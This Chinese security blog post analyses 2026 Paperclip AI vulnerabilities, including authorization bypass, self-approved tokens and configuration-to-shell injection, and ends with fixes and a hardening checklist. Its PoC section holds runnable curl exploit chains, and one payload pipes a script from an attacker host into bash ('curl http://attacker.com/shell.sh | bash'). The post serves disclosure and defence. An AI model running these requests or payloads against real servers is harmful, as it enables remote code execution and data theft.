AI测试 RAXE-2026-054 | Paperclip AI 运行时与租户边界崩溃：11 个公告、2 个 10.0 分、6 个 API 请求拿下服务器

匠测AI说 · 2026年08月26日 · 57 次阅读

⚠️ 免责声明： 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于公开安全公告和研究者报告，不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级： CVSS 10.0（CVE‑2026‑41679，最高严重级）/ CVSS 8.8（CVE‑2026‑41208）
影响版本： Paperclip AI < 2026.416.0（paperclipai CLI 及 @paperclipai/server）
修复版本： Paperclip AI >= 2026.416.0
漏洞类型： 授权绕过链 → 未授权远程代码执行（RCE）+ Agent 配置注入 → 特权命令执行
公告编号： RAXE‑2026‑054（ consolidated ），关联 11 个 GitHub 安全公告、8 个独立漏洞原语
影响范围： 所有公网暴露且使用默认配置（开放注册）的 Paperclip AI 多租户部署，以及本地开发模式（local_trusted）下的开发者机器
利用状态： 🟡 公开 PoC 可用，Rapid7 已发布 Metasploit 模块；截至 2026‑08‑05 暂无野外利用确认
当前状态： ✅ 已修复（v2026.416.0）

一、漏洞背景

1.1 Paperclip AI 是什么

Paperclip AI 是一个开源的 AI Agent 编排平台（control plane），开发者用它来管理、编排和监控多个 AI Agent 的协作运行。它提供 CLI 工具（paperclipai）和服务端（@paperclipai/server），支持多租户、多公司（workspace）隔离，Agent 可以配置不同的适配器（adapter）来执行任务——包括调用 LLM、运行代码、操作文件系统等。

简单说：Paperclip 是给 AI Agent 团队用的"中控台"。 你在上面创建 Agent、配置它们的行为、分配工作区、监控运行状态。正因为它处在 Agent 管理和命令执行的交汇处，一旦授权边界出问题，攻击者直接就能在宿主机上执行命令。

1.2 一次披露 11 个公告，4 个严重级

2026 年 4 月，安全研究机构 Oasis Security 向 Paperclip AI 报告了一批漏洞。GitHub 一次性发布了 11 个安全公告（GHSA），覆盖 8 个独立的漏洞原语。其中 4 个评级为严重（CVSS 9.8-10.0）。

RAXE 安全实验室将这批漏洞整合为一份综合公告 RAXE-2026-054。核心发现是：这批漏洞不是孤立的代码 bug，而是两个反复出现的架构级缺陷。

架构缺陷	表现	后果
授权检查只到角色层，不到租户层	`assertBoard`验证了用户是 board 成员，但没有`assertCompanyAccess`验证用户属于该公司	任意 board 用户可跨租户操作其他公司的 Agent
Agent 配置字段被服务器直接当 shell 命令执行	`adapterConfig`中的配置未经净化，直接传入`spawn("/bin/sh", ["-c", command])`	Agent 权限提升到服务器宿主机权限

1.3 两个核心 CVE

本文重点分析两个最具代表性的 CVE：

CVE 编号	CVSS	漏洞类型	攻击前提
CVE-2026-41679	10.0	未授权 RCE（四步授权绕过链）	公网可达的默认配置实例，无需任何凭据
CVE-2026-41208	8.8	Agent 配置注入→OS 命令执行	拥有 Agent API Key（低权限凭据）

另外还有一个值得关注的：GHSA-x8hx-rhr2-9rf7（CVSS 9.6），通过 DNS rebinding 攻击本地开发模式的 Paperclip，后续被分配为 CVE-2026-77087。

二、漏洞原理

2.1 CVE-2026-41679：六个 API 请求，从未知用户到 root shell

这个漏洞的攻击链极其简洁——整个过程只需要 6 个 HTTP 请求，耗时不到 30 秒，全程自动化。

第一步：开放注册，邮箱验证都是关的

Paperclip 默认配置下，注册接口完全开放：

POST /api/auth/sign-up/email

环境变量PAPERCLIP_AUTH_DISABLE_SIGN_UP默认为false（即允许注册），而邮箱验证在代码里被硬编码为false：

// server/src/auth/better-auth.ts (简化)
requireEmailVerification: false  // ← 硬编码关闭

攻击者用任意邮箱注册，即时获得一个有效会话。不需要邀请码，不需要邮箱验证，不需要人工审批。

第二步：自己创建审批请求，自己审批

注册后，攻击者需要一个持久化的 API Key。Paperclip 的 CLI 认证流程是：

创建一个认证挑战（challenge）→ POST /api/cli-auth/challenges
由 board 用户审批这个挑战 → 获得boardApiToken

问题在于：审批逻辑只验证审批者是有效的 board 用户，不验证"审批者不能是创建者本人"。

// server/src/routes/access.ts (简化，约1638-1659行)
// 只检查了审批者身份有效
assertBoard(req);
// ❌ 没有检查：approving user !== challenge creator
await approveChallenge(challengeId, req.actor.userId);

攻击者刚注册的账号自己创建 challenge、自己审批，立刻拿到持久化的boardApiToken。职责分离彻底失效。

第三步：导入接口漏了管理员权限检查

拿到 board token 后，攻击者需要创建一个公司（tenant）并在其中配置恶意 Agent。

Paperclip 直接创建公司的接口POST /api/companies正确地要求实例管理员权限（assertInstanceAdmin）。但等价的导入接口POST /api/companies/import在new_company模式下完全没有这个检查：

// server/src/routes/companies.ts (简化，约161-176行)
// 直接创建 → 有管理员检查 ✅
assertInstanceAdmin(req);

// 导入创建 → 没有管理员检查 ❌
if (target.mode === "new_company") {
  // 只检查了board级别权限
  assertBoard(req);
  // assertInstanceAdmin 根本没有被import到这个路由文件
}

攻击者通过导入接口，上传一个.paperclip.yaml配置包，创建一个新公司，并且自动成为该公司的成员。

第四步：YAML 配置即代码——process adapter 直接执行 shell 命令

这是最致命的一步。Paperclip 的 Agent 配置支持"process adapter"，允许 Agent 通过启动子进程来执行任务。这本身是一个合法功能——但导入接口允许攻击者在 YAML 中指定任意命令：

# 恶意 .paperclip.yaml（简化）
agents:
  - name: "system-agent"
    adapter: process
    adapterConfig:
      command: "bash"
      args:
        - "-c"
        - "id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"

Paperclip 在启动 Agent 时直接执行这个命令：

// Agent执行逻辑（简化）
spawn("/bin/sh", ["-c", command]);
// ❌ command来自攻击者控制的YAML配置，未经任何净化或沙箱限制

第五步：触发 Agent 执行

攻击者调用wakeup接口启动 Agent：

POST /api/agents/:id/wakeup

这个接口只检查assertCompanyAccess——而攻击者是自己创建的公司的成员，检查自然通过。

Paperclip 以服务器进程的操作系统用户权限执行攻击者的命令。游戏结束。

完整攻击链回顾

匿名攻击者
    │
    ├─① POST /api/auth/sign-up/email        → 注册账号（无需邮箱验证）
    │
    ├─② POST /api/cli-auth/challenges       → 创建认证挑战
    │  POST /api/cli-auth/challenges/:id/approve → 自己审批自己
    │  → 获得 boardApiToken
    │
    ├─③ POST /api/companies/import          → 导入恶意YAML（缺管理员检查）
    │  → 创建新公司 + 配置process adapter Agent
    │
    └─④ POST /api/agents/:id/wakeup         → 触发Agent执行
       │
       └─→ spawn("/bin/sh", ["-c", "攻击者命令"])
           → 以服务器用户权限执行任意命令

CVSS 10.0 的评分依据：

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

网络攻击向量、低复杂度、无需权限、无需用户交互、作用域变更（跨租户）、三要素全部高影响。这是 CVSS v3.1 能给出的最高分。

2.2 CVE-2026-41208：Agent 给自己提权——配置字段变 shell 命令

如果说 CVE-2026-41679 是"从门外打进门内"，那 CVE-2026-41208 就是"门内的 Agent 给自己升权到房东"。

这个漏洞的前提是攻击者已经拥有一个 Agent API Key——这在 Paperclip 的设计中属于低权限凭据，用于 Agent 运行时和自动化集成，不应该能访问服务器宿主机。

漏洞根因：Agent 可以修改自己的配置

Paperclip 允许 Agent 通过 API 更新自己的配置：

PATCH /api/agents/:id

配置验证 schema 对adapterConfig字段几乎不设防：

// packages/shared/src/validators/agent.ts
adapterConfig: z.record(z.unknown())
// ❌ 接受任意键值对，没有字段级白名单

攻击者通过 Agent API Key 注入一个恶意字段workspaceStrategy.provisionCommand：

{
  "adapterConfig": {
    "workspaceStrategy": {
      "provisionCommand": "curl http://attacker.com/shell.sh | bash"
    }
  }
}

服务器在 workspace 初始化时直接执行这个字段

Paperclip 在为 Agent 准备工作区时，会执行provisionCommand来初始化环境：

// 服务器端执行逻辑（简化）
const command = agent.adapterConfig.workspaceStrategy.provisionCommand;
spawn("/bin/sh", ["-c", command]);
// ❌ command来自Agent自己修改的配置，服务器原样执行

信任边界彻底崩塌：

设计预期：
Agent运行时 ←→ Paperclip编排层 ←→ 服务器宿主机
（Agent只能通过编排层间接交互，不能直接触碰宿主机）

实际情况：
Agent配置 → spawn("/bin/sh", ["-c", command]) → 直接在宿主机执行
（边界完全消失）

2.3 附带伤害：任意文件读取

同一批公告中还有一个中危漏洞 GHSA-3pw3（CVE 待分配），原理类似但影响是文件读取而非命令执行：

Agent 可以修改adapterConfig.instructionsFilePath指向任意文件路径，服务器在执行 Agent 时用fs.readFile()直接读取：

// packages/adapters/claude-local/src/server/execute.ts
const instructionsContent = await fs.readFile(instructionsFilePath, "utf-8");
// ❌ instructionsFilePath 来自Agent控制的配置，无路径限制

攻击者可以读取/etc/passwd、应用配置、数据库凭据等服务器进程可访问的任意文件。

三、模拟复现

⚠️ 以下 PoC 基于公开安全公告和研究者报告整理，仅用于理解漏洞原理。请勿在未经授权的系统上执行。

3.1 CVE-2026-41679 复现步骤

根据 GitHub 安全公告 GHSA-68qg 和 Oasis Security 的报告，完整攻击仅需 6 个请求：

TARGET="http://<victim>:3100"

# 步骤1：匿名注册
curl -s -X POST "$TARGET/api/auth/sign-up/email" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@test.com","password":"P@ssw0rd123","name":"attacker"}'

# 登录获取session cookie（略，保存cookies.txt）

# 步骤2：创建CLI认证挑战
CHALLENGE=$(curl -s -X POST "$TARGET/api/cli-auth/challenges" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{}' | jq -r '.id')

# 步骤3：自己审批自己的挑战 → 获得boardApiToken
BOARD_TOKEN=$(curl -s -X POST "$TARGET/api/cli-auth/challenges/$CHALLENGE/approve" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{}' | jq -r '.token')

# 步骤4：导入恶意公司配置（含process adapter命令注入）
curl -s -X POST "$TARGET/api/companies/import" \
  -H "Authorization: Bearer $BOARD_TOKEN" \
  -H "Content-Type: application/json" \
  -H "Origin: $TARGET" \
  -d '{
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all",
    "bundle": {
      "paperclip.yaml": "agents:\n  - name: pwn\n    adapter: process\n    adapterConfig:\n      command: bash\n      args: [\"-c\", \"id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"]"
    }
  }'
# 返回新公司ID和Agent ID

# 步骤5：触发Agent → 命令在服务器执行
curl -s -X POST "$TARGET/api/agents/<agent-id>/wakeup" \
  -H "Authorization: Bearer $BOARD_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{}'

# 命令已以Paperclip服务器进程权限执行

Rapid7 在 2026 年 6 月发布了 Metasploit 模块，将整个 6 步流程完全自动化。Oasis Security 的研究者也发布了自包含 bash 脚本，运行./poc_exploit.sh http://<target>:3100即可在 30 秒内完成全链路。

3.2 CVE-2026-41208 复现步骤

# 前提：已获得Agent API Key
AGENT_KEY="agent-api-key-here"
AGENT_ID="target-agent-id"
TARGET="http://<victim>:3100"

# 步骤1：注入恶意provisionCommand
curl -s -X PATCH "$TARGET/api/agents/$AGENT_ID" \
  -H "Authorization: Bearer $AGENT_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "adapterConfig": {
      "workspaceStrategy": {
        "provisionCommand": "id > /tmp/pwned_agent.txt && cat /etc/passwd >> /tmp/pwned_agent.txt"
      }
    }
  }'

# 步骤2：唤醒Agent，触发workspace provisioning
curl -s -X POST "$TARGET/api/agents/$AGENT_ID/wakeup" \
  -H "Authorization: Bearer $AGENT_KEY" \
  -H "Content-Type: application/json" \
  -d '{}'

# 命令在服务器宿主机上执行，Agent完成提权

3.3 DNS Rebinding 攻击（本地开发模式）

GHSA-x8hx-rhr2-9rf7（后分配 CVE-2026-77087，CVSS 9.6）针对 Paperclip 的默认local_trusted模式。

在这种模式下，Paperclip 绑定到127.0.0.1，并将所有到达本地接口的请求视为隐式管理员——用网络位置代替了身份认证。

攻击者构造一个恶意网页，使用 DNS rebinding 技术：

攻击者控制的域名先解析到攻击者服务器，浏览器加载恶意 JS
TTL 到期后，域名切换解析到127.0.0.1
浏览器认为是同源请求，JS 向127.0.0.1:3100发送 API 请求
Paperclip 收到请求，因为来自本地接口，直接授予管理员权限
恶意 JS 通过导入接口创建 process adapter Agent 并触发执行

开发者只需要在 Paperclip 运行时打开一个恶意网页，电脑就被控制了。 不需要任何 Paperclip 凭据。

四、修复记录

4.1 官方修复（v2026.416.0）

Paperclip 在2026年4月16日发布的 v2026.416.0 中修复了全部 11 个公告涉及的漏洞，涉及 4 个 npm 包：

包名	修复版本
`@paperclipai/server`	2026.416.0
`@paperclipai/shared`	2026.416.0
`@paperclipai/ui`	2026.416.0
`paperclipai`	2026.416.0

核心修复措施：

导入接口加上管理员检查：POST /api/companies/import和POST /api/companies/import/preview在new_company模式下现在要求assertInstanceAdmin，与直接创建接口一致
禁止 CLI 认证自审批：审批逻辑现在拒绝"审批者与挑战创建者为同一人"的情况
Host 头校验：在中间件之前增加私有主机名守卫（private-hostname guard），拒绝 DNS rebinding 请求携带的未授权 Host 头，local_trusted和authenticated模式均生效
Agent 配置字段白名单：adapterConfig不再接受任意键值对，provisionCommand等危险字段被限制为仅管理员可配置
文件路径限制：instructionsFilePath增加路径规范化和工作区边界校验

4.2 研究者建议的额外加固

Oasis Security 在报告中还建议了官方修复之外的加固措施：

默认关闭开放注册：将PAPERCLIP_AUTH_DISABLE_SIGN_UP默认值从false改为true，需要开放注册的部署显式开启
强制邮箱验证：将requireEmailVerification从硬编码false改为可配置且默认开启
Agent 配置沙箱化：即使是管理员配置的 process adapter 命令，也应在容器/沙箱中执行，而非直接 spawn 到宿主机

五、运营方自救清单

如果你在运行 Paperclip AI 实例，按以下优先级排查：

🔴 立即执行

[ ] 升级到 v2026.416.0 或更高版本，四个 npm 包必须同时升级，不要只升 server
[ ] 检查服务器上是否有未知文件：/tmp/pwned*、/tmp/*.txt中包含id/whoami输出的文件
[ ] 检查~/.ssh/authorized_keys是否被添加未知密钥
[ ] 审查 Paperclip 数据库中的 Agent 列表，查找使用process adapter 且命令字段可疑的 Agent
[ ] 检查服务器日志中对/api/companies/import和/api/cli-auth/challenges的异常请求

🟡 配置加固

[ ] 设置环境变量PAPERCLIP_AUTH_DISABLE_SIGN_UP=true关闭开放注册（如不需要）
[ ] 生产环境使用authenticated模式，不要用local_trusted模式
[ ] 不要将 Paperclip 端口直接暴露到公网，放在反向代理后面并加上网络级访问控制
[ ] 以低权限服务账户运行 Paperclip，不要用 root
[ ] 定期轮换 Agent API Key 和 board API Token

🟢 长期改进

[ ] 对所有adapterConfig字段实施严格的 schema 验证，拒绝未知字段
[ ] process adapter 命令在容器中执行，限制文件系统和网络访问
[ ] 审计所有 API 路由，确保每个端点都有对应的租户级权限检查（不只是角色级）
[ ] 开启审计日志，记录所有 Agent 配置变更和导入操作

六、总结思考

6.1 "配置即代码"不是比喻，是字面意思

Paperclip 漏洞的核心教训用 Oasis Security 的一句话总结：

"Agent configuration must be treated as executable input."
（Agent 配置必须被当作可执行输入来对待。）

导入一个.paperclip.yaml文件，在功能上等价于导入一个 Dockerfile——它声明了要在服务器上运行什么命令。Paperclip 把配置当作数据来处理，但配置中的 process adapter 字段实际上是代码执行声明。

这个问题不是 Paperclip 独有的。2025-2026 年，AI Agent 生态中反复出现同类漏洞：

平台	CVE	CVSS	根因
Flowise	CVE-2025-59528	10.0	CustomMCP 节点在配置中执行 JavaScript
Langflow	CVE-2026-55255	-	配置注入导致代码执行，已被野外利用
Anthropic MCP Inspector	CVE-2025-49596	-	DNS rebinding 绕过本地隔离
Paperclip	CVE-2026-41679	10.0	导入 YAML 配置→process adapter 命令执行

整个行业还没有内化一个基本假设：Agent 的配置文件不是元数据，是可执行声明。

6.2 授权检查不能只查"你是谁"，还要查"你能碰谁的"

Paperclip 的第二个架构级问题是租户隔离失效。assertBoard只验证了"你是 board 成员"，但没有验证"你属于这个公司"。在多租户系统中，角色检查和租户检查是两个独立的安全边界，缺一个就等于没有。

这跟 Langflow 的路径遍历漏洞本质上是同一类问题：信任边界只画了一半。 Langflow 信任了上传的文件名没有穿越路径，Paperclip 信任了 board 用户不会跨公司操作。攻击者不需要突破坚固的防线——他们只需要找到那个根本没画的边界。

6.3 默认安全的重要性

Paperclip 的四个问题全部出在"默认配置不安全"上：

默认开放注册
默认关闭邮箱验证
默认允许 CLI 认证自审批
本地模式默认信任所有本地请求

安全社区有一个共识：默认配置必须是安全的，不安全的配置应该是用户显式选择的结果。 Paperclip 把便利性放在了安全性前面，而攻击者最喜欢的就是"开箱即用"的靶子。

总结：AI Agent 平台正处在代码执行、外部 API 和企业数据的交汇处，攻击面比传统 Web 应用大得多，而安全成熟度远未跟上。 对于开发者和运营方来说，假设你的 Agent 平台会被攻击，比假设它不会被攻击要安全得多。

参考资料

暫無回覆。

需要登录後方可回應，如果你還沒有帳號按這裡注册。